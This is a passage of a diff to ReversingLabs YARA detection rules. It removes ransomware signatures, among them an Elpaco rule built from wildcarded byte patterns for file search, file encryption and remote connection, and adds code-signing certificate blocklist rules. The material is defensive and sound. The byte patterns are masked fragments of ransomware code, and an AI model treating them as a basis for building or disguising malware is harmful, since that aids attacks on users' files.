- $search_files = { - 55 8B EC 51 B9 ?? ?? ?? ?? 6A ?? 6A ?? 49 75 ?? 51 87 4D ?? 53 56 57 88 4D ?? 89 55 - ?? 89 45 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8B 45 ?? E8 ?? - ?? ?? ?? 8B 55 ?? 80 7C 02 ?? ?? 75 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B D0 4A 8D 45 ?? E8 - ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F - 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B D0 83 CA ?? 3B D0 75 ?? 80 7D ?? ?? 0F 85 ?? ?? - ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? - ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF B5 - ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8A 4D - ?? 8B 55 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? BE ?? ?? ?? ?? BB ?? ?? ?? ?? FF 75 ?? 68 - ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 - ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 13 E8 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? FF 75 ?? 68 ?? - ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? - ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D - 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 85 C0 75 ?? FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? - FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8B 95 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 08 FF 51 ?? 83 C3 ?? 4E 0F 85 ?? ?? ?? ?? - E9 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 8B C7 83 C8 ?? 3B C7 75 ?? 80 7D ?? ?? 0F 85 ?? ?? - ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? - ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF B5 - ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8A 4D - ?? 8B 55 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? BE ?? ?? ?? ?? BB ?? ?? ?? ?? FF 75 ?? 68 - ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 - ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 13 E8 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? FF 75 ?? 68 ?? - ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? - ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D - 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 85 C0 75 ?? FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? - FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8B 95 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 08 FF 51 ?? 83 C3 ?? 4E 0F 85 ?? ?? ?? ?? - 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? - E8 ?? ?? ?? ?? C3 - } - $remote_connection = { - 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? B2 - ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B - 45 ?? 50 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? 59 E8 ?? ?? ?? ?? - 8D 4D ?? BA ?? ?? ?? ?? 33 C0 E8 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? E8 ?? ?? ?? ?? FF 75 - ?? 8D 4D ?? BA ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? FF 75 ?? 8D 45 ?? - BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 - ?? 8B 50 ?? 8B 45 ?? 8B 08 FF 51 ?? 8D 55 ?? 8B 45 ?? 8B 08 FF 51 ?? 8B 45 ?? 8D 55 - ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? E8 ?? ?? - ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B C3 8B 55 ?? E8 ?? ?? ?? ?? - 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 - } - $encrypt_files = { - 55 8B EC 6A ?? 6A ?? 6A ?? 53 56 57 BB ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 - 64 89 20 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 - ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 10 FF 52 - ?? 8B F0 8B C3 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 - ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D - 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? - BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? - ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 - ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? - BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 - ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? - BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 - ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? - BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 - ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? - BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 - ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? - BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 - ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? - BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 - ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? - BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 - ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8B DE 4B 85 DB 7C ?? 43 33 F6 8D 55 ?? 33 C0 E8 ?? ?? ?? ?? 8B 45 - ?? 8D 55 ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? A1 ?? ?? - ?? ?? 8B 08 FF 51 ?? 8D 4D ?? 8B D6 A1 ?? ?? ?? ?? 8B 38 FF 57 ?? 8B 45 ?? B1 ?? BA - ?? ?? ?? ?? E8 ?? ?? ?? ?? 46 4B 75 ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 6A ?? E8 ?? ?? ?? ?? 6A ?? E8 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "HANNAH SISK LIMITED" and pe.signatures [ i ] . serial == "06:3d:cd:7d:7b:0b:c7:7c:ac:84:4c:72:13:be:39:89" and 1656892801 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_6F8777Aa866142Ad7120E5E1C9321E37 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "ace8a8b4-5288-56c4-bd47-9eb42ea41ecb" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12554-L12570" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "ca3ff0c7192ba90932d35d053712816555dea051ce15d29a7ccf4e37da989899" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and $search_files and $encrypt_files and $remote_connection + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CLOUD SOFTWARE LINE CO., LTD." and pe.signatures [ i ] . serial == "6f:87:77:aa:86:61:42:ad:71:20:e5:e1:c9:32:1e:37" and 1629676800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Elpaco : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_4A7F07C5D4Ad2E23F9E8E03F0E229Dd4 : INFO FILE { meta: - description = "Yara rule that detects Elpaco ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "eb3a6293-f10c-55c4-960a-339e1e7922fe" - date = "2025-02-27" - modified = "2025-02-27" + id = "76be58d9-d1a3-5dec-807e-941714be80f9" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Elpaco.yara#L1-L316" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12572-L12588" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6b3fdd586c9f3e5c40782c814b5091b28e88f3d74032c392a6479182eb74327a" + logic_hash = "6dc2bfac77117e294cacc772f7bfaea8b2e3caa26a0afd3729d517e91ca20ea5" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Elpaco" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? - 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 8D ?? ?? - ?? ?? 0F 57 C0 C7 45 ?? ?? ?? ?? ?? 6A ?? 66 0F 13 45 ?? 6A ?? C7 85 ?? ?? ?? ?? ?? - ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 89 75 ?? 6A - ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B C8 83 C4 ?? 33 C0 89 8D ?? ?? ?? ?? C7 41 ?? ?? ?? - ?? ?? C7 41 ?? ?? ?? ?? ?? 66 89 01 8D 45 ?? 3B C8 74 ?? 83 7D ?? ?? FF 75 ?? 0F 43 - 45 ?? 50 E8 ?? ?? ?? ?? 8B 7E ?? 8D 85 ?? ?? ?? ?? 50 57 56 E8 ?? ?? ?? ?? 8B 55 ?? - B9 ?? ?? ?? ?? 2B CA 83 F9 ?? 0F 82 ?? ?? ?? ?? 8B 5D ?? 83 C2 ?? 89 46 ?? 89 55 ?? - 89 07 0F 84 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 8B F2 8B 03 8D 4D ?? 8B 40 ?? 50 89 85 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? 8D 4D - ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B BD ?? ?? ?? ?? B8 ?? ?? ?? ?? 47 C6 45 ?? ?? F7 E7 8B - CF 89 BD ?? ?? ?? ?? C1 EA ?? 6B C2 ?? 2B C8 75 ?? 57 39 8D ?? ?? ?? ?? 75 ?? 68 ?? - ?? ?? ?? EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 8D 8D ?? ?? ?? ?? - 8D 45 ?? 0F 43 45 ?? 51 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? - ?? ?? FF 15 ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? 8B BD ?? ?? ?? ?? 0F 43 4D ?? 50 51 68 - ?? ?? ?? ?? 89 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 BF ?? ?? ?? ?? ?? 75 ?? 83 - } - $find_files_p2 = { - 7D ?? ?? 8D 4D ?? 0F 43 4D ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 83 7D ?? ?? 8D 8D ?? ?? ?? - ?? 8D 45 ?? 0F 43 45 ?? 51 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? - ?? ?? ?? 8B BD ?? ?? ?? ?? 85 FF 74 ?? 8B 4F ?? 83 F9 ?? 72 ?? 8B 07 8D 0C 4D ?? ?? - ?? ?? 81 F9 ?? ?? ?? ?? 72 ?? 8B 50 ?? 83 C1 ?? 2B C2 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? - ?? ?? 8B C2 51 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 47 ?? ?? ?? ?? ?? 6A ?? C7 47 ?? - ?? ?? ?? ?? 57 66 89 07 E8 ?? ?? ?? ?? 83 C4 ?? 8B 13 4E 6A ?? 52 89 75 ?? 8B 4A ?? - 8B 02 89 01 8B 0A 8B 42 ?? 89 41 ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B BD ?? - ?? ?? ?? 8B 35 ?? ?? ?? ?? 0F 1F 00 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D6 85 C0 - 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? - 8B 85 ?? ?? ?? ?? A9 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 0F 85 ?? ?? - ?? ?? A8 ?? 0F 84 ?? ?? ?? ?? 83 EC ?? 8D 8D ?? ?? ?? ?? 8B D4 89 A5 ?? ?? ?? ?? 33 - C0 8D 71 ?? C7 42 ?? ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? 66 89 02 0F 1F 80 ?? ?? ?? ?? - 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CE 8D 85 ?? ?? ?? ?? D1 F9 51 50 8B CA E8 ?? ?? - ?? ?? 83 EC ?? C6 45 ?? ?? 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 - ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 80 BF ?? ?? ?? ?? ?? 75 ?? 8B 3D ?? ?? ?? ?? 8D 5D - ?? 83 7D ?? ?? 0F 43 5D ?? 8B 37 3B F7 74 ?? 83 7E ?? ?? 8D 46 ?? 72 ?? 8B 00 50 53 - FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 36 3B F7 75 ?? 8B 9D ?? ?? ?? ?? 6A ?? - E8 ?? ?? ?? ?? 8B C8 83 C4 ?? 33 C0 89 8D ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? - ?? ?? ?? ?? 66 89 01 8D 45 ?? 3B C8 74 ?? 83 7D ?? ?? FF 75 ?? 0F 43 45 ?? 50 E8 ?? - ?? ?? ?? 8B 73 ?? 8D 85 ?? ?? ?? ?? 50 56 53 E8 ?? ?? ?? ?? 8B 55 ?? B9 - } - $find_files_p3 = { - 2B CA 83 F9 ?? 0F 82 ?? ?? ?? ?? 89 43 ?? 42 8B 5D ?? 89 55 ?? 89 06 89 9D ?? ?? ?? - ?? E9 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? E9 ?? ?? ?? ?? 80 BF ?? ?? ?? ?? ?? 75 ?? 8D 8D - ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 83 EC ?? 8D 8D ?? ?? ?? ?? 8B D4 - 89 A5 ?? ?? ?? ?? 33 C0 8D 71 ?? C7 42 ?? ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? 66 89 02 - 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CE 8D 85 ?? ?? ?? ?? D1 F9 51 50 8B CA E8 ?? ?? - ?? ?? 83 EC ?? C6 45 ?? ?? 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 - ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 80 BF ?? ?? ?? ?? ?? 75 ?? 83 EC ?? 8D 45 ?? 8B CC - 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 74 ?? 83 EC ?? 8D 45 ?? 8B CC 50 E8 - ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B D7 8B CE E8 ?? ?? ?? ?? 83 C4 ?? 3D ?? ?? ?? ?? 7C - ?? 85 F6 75 ?? A1 ?? ?? ?? ?? EB ?? 83 FE ?? 75 ?? A1 ?? ?? ?? ?? EB ?? 83 FE ?? 75 - ?? A1 ?? ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? FF 87 ?? ?? ?? ?? C6 45 ?? ?? 8B 55 ?? - 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? - 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B - 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B BD ?? ?? - ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 85 F6 74 ?? 8B 4E ?? 83 F9 ?? 72 ?? - 8B 06 8D 0C 4D ?? ?? ?? ?? 81 F9 ?? ?? ?? ?? 72 ?? 8B 50 ?? 83 C1 ?? 2B C2 83 C0 ?? - 83 F8 ?? 0F 87 ?? ?? ?? ?? 8B C2 51 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 46 ?? ?? ?? - ?? ?? 6A ?? C7 46 ?? ?? ?? ?? ?? 56 66 89 06 E8 ?? ?? ?? ?? 83 C4 ?? 8B 13 8B 75 ?? - 6A ?? 4E 8B 4A ?? 8B 02 52 89 75 ?? 89 01 8B 0A 8B 42 ?? 89 41 ?? E8 ?? ?? ?? ?? 83 - } - $find_files_p4 = { - C4 ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? C6 45 ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D - ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 - ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 33 C0 8B 55 - ?? 66 89 45 ?? C7 45 ?? ?? ?? ?? ?? 89 45 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? - ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 - ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 F6 